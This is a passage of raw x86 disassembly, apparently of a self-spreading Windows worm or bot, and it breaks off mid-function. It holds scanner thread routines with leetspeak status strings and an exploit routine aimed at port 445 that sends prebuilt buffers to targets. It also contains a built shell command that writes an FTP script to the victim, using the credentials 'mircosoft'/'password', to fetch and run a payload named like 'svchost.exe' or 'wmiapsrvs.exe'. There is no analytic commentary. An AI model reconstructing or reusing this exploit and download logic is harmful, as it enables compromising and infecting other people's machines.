var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_4190A8	; GetTickCount
		push	eax
		call	sub_40E043
		mov	ebx, esi
		pop	ecx
		imul	ebx, 434h
		jmp	loc_40AF7E
; ---------------------------------------------------------------------------


loc_40ADDB:				; CODE XREF: sub_40AD8F+1FDj
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40ADF1
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40AC56
		pop	ecx
		jmp	short loc_40ADF6
; ---------------------------------------------------------------------------


loc_40ADF1:				; CODE XREF: sub_40AD8F+51j
		call	sub_40AC0E


loc_40ADF6:				; CODE XREF: sub_40AD8F+60j
		pop	ecx
		push	[ebp+arg_0]
		mov	edi, eax
		push	dword_42220C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4C4710
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset aIpSDScanTDSubT ; "IP: %s:%d, Scan|t: %d, Sub|thread: %d."
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_421E08[ebx]
		push	eax
		call	sub_40D6BB
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40ACF2
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40AF73
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40AEC8
		push	offset dword_4C58A0
		call	dword_419160	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4C4710
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset aIpSPortDIs0p3n ; "IP %s, Port %d is 0p3n."
		push	eax
		call	sub_40D6BB
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40AEAA
		cmp	[ebp+var_C0], 0
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40AE9E
		lea	eax, [ebp+var_140]


loc_40AE9E:				; CODE XREF: sub_40AD8F+107j
		push	eax
		push	[ebp+var_40]
		call	sub_4017B6
		add	esp, 10h


loc_40AEAA:				; CODE XREF: sub_40AD8F+EEj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_401648
		mov	[esp+2A8h+var_2A8], offset dword_4C58A0
		call	dword_41915C	; RtlLeaveCriticalSection
		jmp	loc_40AF73
; ---------------------------------------------------------------------------


loc_40AEC8:				; CODE XREF: sub_40AD8F+BEj
		push	edi
		call	dword_4C4710
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40D6BB
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aAs445 ; "as445"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_40D6BB
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40AF0C
		lea	eax, [ebp+var_140]


loc_40AF0C:				; CODE XREF: sub_40AD8F+175j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_40D6BB
		mov	eax, [ebp+var_40]
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		pop	ecx
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		rep movsd
		call	off_41EE7C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40AF73:				; CODE XREF: sub_40AD8F+B4j
					; sub_40AD8F+134j
		push	7D0h
		call	dword_419060	; Sleep


loc_40AF7E:				; CODE XREF: sub_40AD8F+47j
		mov	eax, dword_42220C[ebx]
		cmp	dword_4C48A4[eax*8], 0
		jnz	loc_40ADDB
		push	esi
		call	sub_40AADD
		pop	ecx
		push	0
		call	dword_4190D8	; ExitThread
		int	3		; Trap to Debugger
sub_40AD8F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFA2	proc near		; DATA XREF: sub_40198E+1CA5o
					; sub_40198E+2CE3o

var_208		= dword	ptr -208h
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	53h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_14C]
		rep movsd
		xor	edi, edi
		inc	edi
		mov	[eax+144h], edi
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4C4704
		mov	ecx, [ebp+var_2C]
		push	3
		mov	dword_4C48A0[ecx*8], eax
		call	sub_40AA32
		cmp	eax, edi
		pop	ecx
		jnz	short loc_40B04F
		mov	esi, offset dword_4C58A0
		push	esi
		call	dword_419168	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_419164	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40B04F
		lea	eax, [ebp+var_1CC]
		push	offset aFailedToInitia ; "Failed to initialize critical	section."
		push	eax
		call	sub_40D6BB
		cmp	[ebp+var_10], 0
		pop	ecx
		pop	ecx
		jnz	short loc_40B03A
		push	[ebp+var_14]
		lea	eax, [ebp+var_1CC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_4017B6
		add	esp, 10h


loc_40B03A:				; CODE XREF: sub_40AFA2+7Aj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_401648
		pop	ecx
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40B04F:				; CODE XREF: sub_40AFA2+45j
					; sub_40AFA2+61j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_419060
		xor	ebx, ebx
		cmp	[ebp+var_20], edi
		mov	dword_4C48A4[eax*8], edi
		jb	loc_40B10E


loc_40B06A:				; CODE XREF: sub_40AFA2+166j
		push	edi
		push	[ebp+var_2C]
		lea	eax, [ebp+var_14C]
		push	[ebp+var_38]
		mov	[ebp+var_24], edi
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset aSDScann3rThrea ; "%s:%d, Scann3r thread: %d, Sub|thread: "...
		push	eax
		call	sub_40D6BB
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	3
		push	eax
		call	sub_40A83B
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_28], eax
		imul	eax, 434h
		add	esp, 24h
		push	ebx
		push	ebx
		mov	dword_42220C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	eax
		push	offset sub_40AD8F
		push	ebx
		push	ebx
		call	dword_4190B0	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 434h
		cmp	eax, ebx
		mov	dword_42221C[ecx], eax
		jnz	short loc_40B125
		call	dword_4190AC	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset aFailedToStarTh ; "Failed to star thr34d, error:	<%d>."
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_401648
		add	esp, 10h


loc_40B100:				; CODE XREF: sub_40AFA2+188j
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40B06A


loc_40B10E:				; CODE XREF: sub_40AFA2+C2j
		cmp	[ebp+var_30], ebx
		jz	short loc_40B133
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep
		jmp	short loc_40B140
; ---------------------------------------------------------------------------


loc_40B121:				; CODE XREF: sub_40AFA2+186j
		push	1Eh
		call	esi	; Sleep


loc_40B125:				; CODE XREF: sub_40AFA2+135j
		cmp	[ebp+var_4], ebx
		jz	short loc_40B121
		jmp	short loc_40B100
; ---------------------------------------------------------------------------


loc_40B12C:				; CODE XREF: sub_40AFA2+19Cj
		push	7D0h
		call	esi	; Sleep


loc_40B133:				; CODE XREF: sub_40AFA2+16Fj
		mov	eax, [ebp+var_2C]
		cmp	dword_4C48A4[eax*8], 1
		jz	short loc_40B12C


loc_40B140:				; CODE XREF: sub_40AFA2+17Dj
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4C48A0[eax*8]
		push	eax
		call	dword_4C4710
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset aFinishedAtSDAf ; "Finished at %s:%d after %d minute(s) of"...
		push	eax
		call	sub_40D6BB
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40B18D
		push	[ebp+var_14]
		lea	eax, [ebp+var_1CC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_4017B6
		add	esp, 10h


loc_40B18D:				; CODE XREF: sub_40AFA2+1CDj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_401648
		mov	eax, [ebp+var_2C]
		mov	dword_4C48A4[eax*8], ebx
		mov	[esp+208h+var_208], 0BB8h
		call	esi	; Sleep
		push	3
		call	sub_40AA32
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40B1C4
		push	offset dword_4C58A0
		call	dword_419168	; RtlDeleteCriticalSection


loc_40B1C4:				; CODE XREF: sub_40AFA2+215j
		push	[ebp+var_2C]
		call	sub_40AADD
		pop	ecx
		push	ebx
		call	dword_4190D8	; ExitThread
		int	3		; Trap to Debugger
sub_40AFA2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1D5	proc near		; CODE XREF: sub_40B31C+42Ep

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	esi
		push	edi
		push	10h
		xor	esi, esi
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4C4704
		mov	[ebp+var_C], eax
		xor	eax, eax
		mov	ax, word ptr dword_4C58B8
		push	eax
		call	dword_4C47DC
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4C4690
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40B23B
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		call	dword_4C463C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40B242


loc_40B23B:				; CODE XREF: sub_40B1D5+52j
		xor	al, al
		jmp	loc_40B318
; ---------------------------------------------------------------------------


loc_40B242:				; CODE XREF: sub_40B1D5+64j
		push	ebx
		push	esi
		mov	ebx, 400h
		push	ebx
		lea	eax, [ebp+var_5A0]
		push	eax
		push	edi
		call	dword_4C45F4
		mov	eax, offset aSvchost_exe ; "svchost.exe"
		push	eax
		push	eax
		push	offset aPassword ; "password"
		push	offset aMircosoft ; "mircosoft"
		push	dword_41E264
		mov	esi, 190h
		push	offset aMs_microsoft_c ; "ms.microsoft.com"
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	%s %s >> "...
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_40DFEC
		add	esp, 24h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	edi
		call	dword_4C4724
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40B2B5


loc_40B2B1:				; CODE XREF: sub_40B1D5+126j
		xor	al, al
		jmp	short loc_40B317
; ---------------------------------------------------------------------------


loc_40B2B5:				; CODE XREF: sub_40B1D5+DAj
		push	1F4h
		call	dword_419060	; Sleep
		push	offset aWmiapsrvs_exe ;	"wmiapsrvs.exe"
		push	offset aS	; "%s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_40DFEC
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	edi
		call	dword_4C4724
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B2B1
		push	0
		push	ebx
		lea	eax, [ebp+var_5A0]
		push	eax
		push	edi
		call	dword_4C45F4
		push	edi
		call	dword_4C479C
		mov	al, 1


loc_40B317:				; CODE XREF: sub_40B1D5+DEj
		pop	ebx


loc_40B318:				; CODE XREF: sub_40B1D5+68j
		pop	edi
		pop	esi
		leave
		retn
sub_40B1D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B31C	proc near		; CODE XREF: .text:0040B884p
					; .text:0040B8A6p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_40D9A0
		mov	eax, dword_41B860
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_41B864
		push	esi
		mov	[ebp+var_C], eax
		push	edi
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_41B854
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		xor	ebx, ebx
		xor	eax, eax


loc_40B355:				; CODE XREF: sub_40B31C+4Fj
		mov	cl, [ebp+eax+var_3C]
		mov	[ebp+eax*2+var_104], cl
		mov	[ebp+eax*2+var_103], bl
		inc	eax
		cmp	eax, 28h
		jl	short loc_40B355
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_41F4B0
		push	eax
		call	sub_40E3A0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40D630
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_40E3A0
		add	esp, 1Ch
		push	9
		lea	eax, [ebp+var_3C]
		push	(offset	aC+3)
		push	eax
		call	sub_40D630
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_40E3A0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40D630
		add	al, 1Ah
		shl	al, 1
		mov	[ebp+var_1], al
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_40E3A0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40D630
		shl	al, 1
		add	al, 9
		mov	[ebp+var_2], al
		push	1
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_40E3A0
		xor	eax, eax
		mov	ax, word ptr dword_4C58B8
		add	esp, 2Ch
		push	eax
		call	dword_4C47DC
		push	2
		xor	eax, 9999h
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41F1A8
		call	sub_40E3A0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40B51C
		mov	edi, 0DACh
		push	edi
		lea	eax, [ebp+var_1CC4]
		push	90h
		push	eax
		call	sub_40D7B0
		mov	eax, [ebp+arg_C0]
		imul	eax, 3Ch
		lea	eax, dword_41F8F0[eax]
		push	4
		push	eax
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_40E3A0
		mov	esi, offset loc_41F0F8
		push	esi
		call	sub_40D630
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_40E3A0
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_41B84C
		push	eax
		call	sub_40E3A0
		push	4
		push	[ebp+var_14]
		lea	eax, [ebp+var_11A8]
		push	eax
		call	sub_40E3A0
		add	esp, 40h
		push	esi
		call	sub_40D630
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_40E3A0
		add	esp, 10h
		xor	eax, eax


loc_40B4CE:				; CODE XREF: sub_40B31C+1CAj
		mov	cl, [ebp+eax+var_1CC4]
		mov	[ebp+eax*2+var_4804], cl
		mov	[ebp+eax*2+var_4803], bl
		inc	eax
		cmp	eax, edi
		jl	short loc_40B4CE
		mov	esi, 1C52h
		push	esi
		lea	eax, [ebp+var_89B4]
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_40D7B0
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_40D7B0
		add	esp, 18h
		jmp	short loc_40B573
; ---------------------------------------------------------------------------


loc_40B51C:				; CODE XREF: sub_40B31C+11Bj
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_40D7B0
		mov	esi, offset loc_41F0F8
		push	esi
		call	sub_40D630
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_40E3A0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40D630
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_40E3A0
		mov	eax, dword_41F8F0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40B573:				; CODE XREF: sub_40B31C+1FEj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_40D7B0
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		push	ebx
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_4C4724
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40B5B2


loc_40B5AB:				; CODE XREF: sub_40B31C+2BDj
					; sub_40B31C+2E4j ...
		xor	al, al
		jmp	loc_40B75A
; ---------------------------------------------------------------------------


loc_40B5B2:				; CODE XREF: sub_40B31C+28Dj
		push	ebx
		mov	esi, 640h
		push	esi
		lea	eax, [ebp+var_744]
		push	eax
		push	edi
		call	dword_4C45F4
		push	ebx
		push	68h
		push	offset dword_41F518
		push	edi
		call	dword_4C4724
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B5AB
		push	ebx
		push	esi
		lea	eax, [ebp+var_744]
		push	eax
		push	edi
		call	dword_4C45F4
		push	ebx
		push	0A0h
		push	offset dword_41F588
		push	edi
		call	dword_4C4724
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B5AB
		push	ebx
		push	esi
		lea	eax, [ebp+var_744]
		push	eax
		push	edi
		call	dword_4C45F4
		cmp	[ebp+arg_C0], ebx
		jz	loc_40B6C8
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_41F748
		push	eax
		call	sub_40E3A0
		push	1B5Ah
		lea	eax, [ebp+var_4804]
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_40E3A0
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_41F7B8
		push	eax
		call	sub_40E3A0
		push	0A5Eh
		lea	eax, [ebp+var_3770]
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_40E3A0
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_41F830
		push	eax
		call	sub_40E3A0
		add	esp, 3Ch
		push	ebx
		push	10FCh
		lea	eax, [ebp+var_89B4]
		push	eax
		push	edi
		call	dword_4C4724
		cmp	eax, 0FFFFFFFFh
		jz	loc_40B5AB
		push	ebx
		push	esi
		lea	eax, [ebp+var_744]
		push	eax
		push	edi
		call	dword_4C45F4
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40B71E
; ---------------------------------------------------------------------------


loc_40B6C8:				; CODE XREF: sub_40B31C+2FCj
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_41F630
		push	eax
		call	sub_40E3A0
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_40E3A0
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_41F6B0
		push	eax
		call	sub_40E3A0
		add	esp, 24h
		push	ebx
		mov	[ebp+var_1FB1],	bl
		push	0CF8h
		lea	eax, [ebp+var_2CA8]


loc_40B71E:				; CODE XREF: sub_40B31C+3AAj
		push	eax
		push	edi
		call	dword_4C4724
		cmp	eax, 0FFFFFFFFh
		jz	loc_40B5AB
		push	12Ch
		call	dword_419060	; Sleep
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+arg_0]
		mov	edi, esp
		rep movsd
		call	sub_40B1D5
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_40B75A:				; CODE XREF: sub_40B31C+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B31C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0A54h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_408964
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_40D7B0
		add	esp, 14h
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-14h], 2
		call	dword_4C4704
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_4C47DC
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4C4690
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40B867
		push	10h
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		call	dword_4C463C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40B867
		push	edi
		push	89h
		push	offset dword_41F290
		push	ebx
		call	dword_4C4724
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B867
		push	edi
		mov	esi, 640h
		push	esi
		lea	eax, [ebp-654h]
		push	eax
		push	ebx
		call	dword_4C45F4
		push	edi
		push	0A8h
		push	offset dword_41F320
		push	ebx
		call	dword_4C4724
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B867
		push	edi
		push	esi
		lea	eax, [ebp-654h]
		push	eax
		push	ebx
		call	dword_4C45F4
		push	edi
		push	0DEh
		push	offset dword_41F3D0
		push	ebx
		call	dword_4C4724
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B867
		push	edi
		push	esi
		lea	eax, [ebp-654h]
		push	eax
		push	ebx
		call	dword_4C45F4
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_40B871
		dec	eax
		jz	short loc_40B86E


loc_40B867:				; CODE XREF: .text:0040B7C2j
					; .text:0040B7D8j ...
		xor	eax, eax
		jmp	loc_40B915
; ---------------------------------------------------------------------------


loc_40B86E:				; CODE XREF: .text:0040B865j
		push	edi
		jmp	short loc_40B895
; ---------------------------------------------------------------------------


loc_40B871:				; CODE XREF: .text:0040B862j
		push	2
		push	ebx
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_40B31C
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40B8B5
		push	1


loc_40B895:				; CODE XREF: .text:0040B86Fj
		push	ebx
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_40B31C
		add	esp, 0C4h
		test	al, al
		jz	short loc_40B8BC


loc_40B8B5:				; CODE XREF: .text:0040B891j
		mov	dword ptr [ebp-4], 1


loc_40B8BC:				; CODE XREF: .text:0040B8B3j
		push	ebx
		call	dword_4C479C
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40B912
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aAsn445 ; "asn|445"
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		push	offset aTryingSS ; "Trying: %s (%s)"
		lea	eax, [ebp-0A54h]
		push	400h
		push	eax
		call	sub_40DFEC
		lea	eax, [ebp-0A54h]
		push	eax
		call	sub_401648
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		lea	eax, dword_41EE80[eax]
		add	esp, 18h
		inc	dword ptr [eax]


loc_40B912:				; CODE XREF: .text:0040B8C7j
		xor	eax, eax
		inc	eax


loc_40B915:				; CODE XREF: .text:0040B869j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B91A	proc near		; CODE XREF: sub_40C3E8+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movsx	eax, [esp+arg_8]
		push	[esp+arg_4]
		push	eax
		push	[esp+8+arg_0]
		call	sub_40D7B0
		add	esp, 0Ch
		retn
sub_40B91A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B931	proc near		; CODE XREF: sub_40BB9B+Ep
					; sub_40BB9B+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40B931	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B93B	proc near		; CODE XREF: sub_40BB9B+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_40E74F
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jz	short loc_40B96D
		push	ebx
		push	0
		push	edi
		call	sub_40D7B0
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_40E3A0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40B96D:				; CODE XREF: sub_40B93B+14j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	8
sub_40B93B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B975	proc near		; CODE XREF: sub_40BA6B+19p
					; sub_40BADF+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		mov	ebx, ecx
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_40E74F
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jz	short loc_40B9C1
		push	edi
		push	0
		push	esi
		call	sub_40D7B0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_40E3A0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		add	eax, esi
		push	eax
		call	sub_40E3A0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40B9C1:				; CODE XREF: sub_40B975+1Cj
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	10h
sub_40B975	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B9CA	proc near		; CODE XREF: sub_40BA6B+5Bp
					; sub_40BA6B+68p ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40B9DA
